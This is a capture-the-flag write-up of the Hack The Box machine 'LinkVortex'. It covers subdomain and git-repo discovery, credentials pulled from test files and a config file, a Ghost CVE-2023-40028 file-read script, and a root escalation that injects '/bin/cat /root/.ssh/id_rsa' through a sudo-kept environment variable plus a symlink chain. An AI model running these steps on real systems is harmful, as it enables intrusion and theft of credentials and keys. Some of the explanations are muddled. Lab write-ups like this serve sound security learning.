Linux - Easy - LinkVortex

Recon

$whatweb http://linkvortex.htb/
http://linkvortex.htb/ [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.129.110.17], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]
$nmap -p- -A 10.129.110.17

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -u http://linkvortex.htb  --append-domain -t 150

Found: dev.linkvortex.htb Status: 200 [Size: 2538]

Running dir on the dev site finds us git repo.

We can run git-dumper http://dev.linkvortex.htb/ git to copy all of it. To speedrun searching for creds we can run grep -ri "password" .

These two stand out the most:
./ghost/core/test/regression/api/admin/authentication.test.js: const password = ‘OctopiFociPilfer45’;
./ghost/core/test/regression/api/admin/authentication.test.js: const password = ‘thisissupersafe’;

Looking then on github we can find some CVE’s for ghost. One of them is CVE-2023-40028.

We can execute after modifing the url to http://linkvortex.htb to get new shell.
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file> /var/lib/ghost/config.production.json

Looking on ghost forum I’ve found that there exists a file called config.production.json in ghost. We can grab it using our new shell.

file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

We can now ssh as bob.

Priv esc

Doing a basic check gives us an obvious hint.

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

The -z flag will print out the contents of the file, after moving. The thing is, we cannot set -z flag manualy, as we are not permited to run it as sudo then. What we can do then is set enviroment variable that will give the name of the file. When the script is being run, it will take it from our enviroment and not from the flag contents (if its not provided).

So my first attempt was:

export CHECK_CONTENT='/root/.ssh/id_rsa'
ln -s /root/.ssh/id_rsa pwn.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh pwn.png

Second attempt with abusing /bin/cat, so we print BEFORE doing anything with the file.

export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
ln -s /root/.ssh/id_rsa pwn.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh proxy.png

Third attempt, trying to bypass the quarantine by making a symlink to a symlink.

export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
ln -s /root/.ssh/id_rsa pwn.png
ln -s pwn.png proxy.png 
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh proxy.png

We get root id_rsa, now only ssh in, get the flag and we are done.